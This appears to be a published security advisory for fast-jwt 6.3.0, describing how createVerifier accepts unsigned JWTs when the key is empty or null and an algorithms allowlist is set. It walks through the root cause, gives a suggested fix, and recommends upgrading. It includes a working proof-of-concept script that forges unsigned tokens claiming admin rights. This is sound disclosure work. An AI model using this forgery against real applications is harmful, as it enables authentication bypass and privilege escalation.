CVE-2026-107720: fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set
### Summary `createVerifier` in fast-jwt ≤ 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`''` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key. ### Details **Root cause — four cooperating code paths:** **A. Falsy sync keys bypass `prepareKeyOrSecret`** `createVerifier` branches on `typeof key`: ```js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/* ... */) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) } ``` When `key` is `''` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key && ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys: ```js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) } ``` **B. Explicit `algorithms` keeps an allowlist active with no key** When `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `['HS256']`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list. **C. `hasKey` is false → missing signature is permitted** ```js const hasKey = key instanceof Buffer ? key.length : !!key if (hasKey && !signature) { throw new TokenError(/* missingSignature */) } else if (!hasKey && signature) { throw new TokenError(/* missingKey */) } // !hasKey && !signature → fall through with NO crypto ``` An unsigned token (`header.payload.`) produces `signature === ''`, which is falsy, so both branches are skipped. **D. Signature check is gated on `signature` being truthy** ```js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/* invalidSignature */) } ``` Empty signature → condition is `false` → `verifySignature` is never called. **E. Signer / verifier asymmetry** - `createSigner({ key: '' })` / `key: null` → **rejected** - `createVerifier({ key: async () => '' })` → **rejected** (GHSA empty-secret tests) - `createVerifier({ key: '' | null, algorithms: [...] })` → **accepted**, then verifies unsigned tokens Ironically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed. **Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609). ### PoC ```bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install ``` ```js // poc-empty-key-bypass.js const { createVerifier } = require('.') function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return `${h}.${p}.` // trailing dot = empty signature } const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' }) // Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' } // Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true } // Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FAST_JWT_MISSING_SIGNATURE try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FAST_JWT_INVALID_ALGORITHM try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FAST_JWT_INVALID_KEY ``` **Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY` **Actual:** payload returned with no signature check ### Impact Full authentication / authorization bypass. Any application that: 1. Uses `createVerifier` with `key: ''` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || ''`), **and** 2. Sets `algorithms` to a non-empty allowlist (a recommended security practice), will accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped. ### Suggested fix In `createVerifier`, fail closed before binding the verifier: ```js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } } ``` Also guard the combination explicitly: ```js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') } ``` The async path (key function resolving to `''`) is already hardened via `prepareKeyOrSecret` and does not need to change.
Recommended action
Recommended action
Upgrade affected packages to a patched version: fast-jwt 6.3.1.
Technical details
- Vendor
- Not specified
- Product
- fast-jwt
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source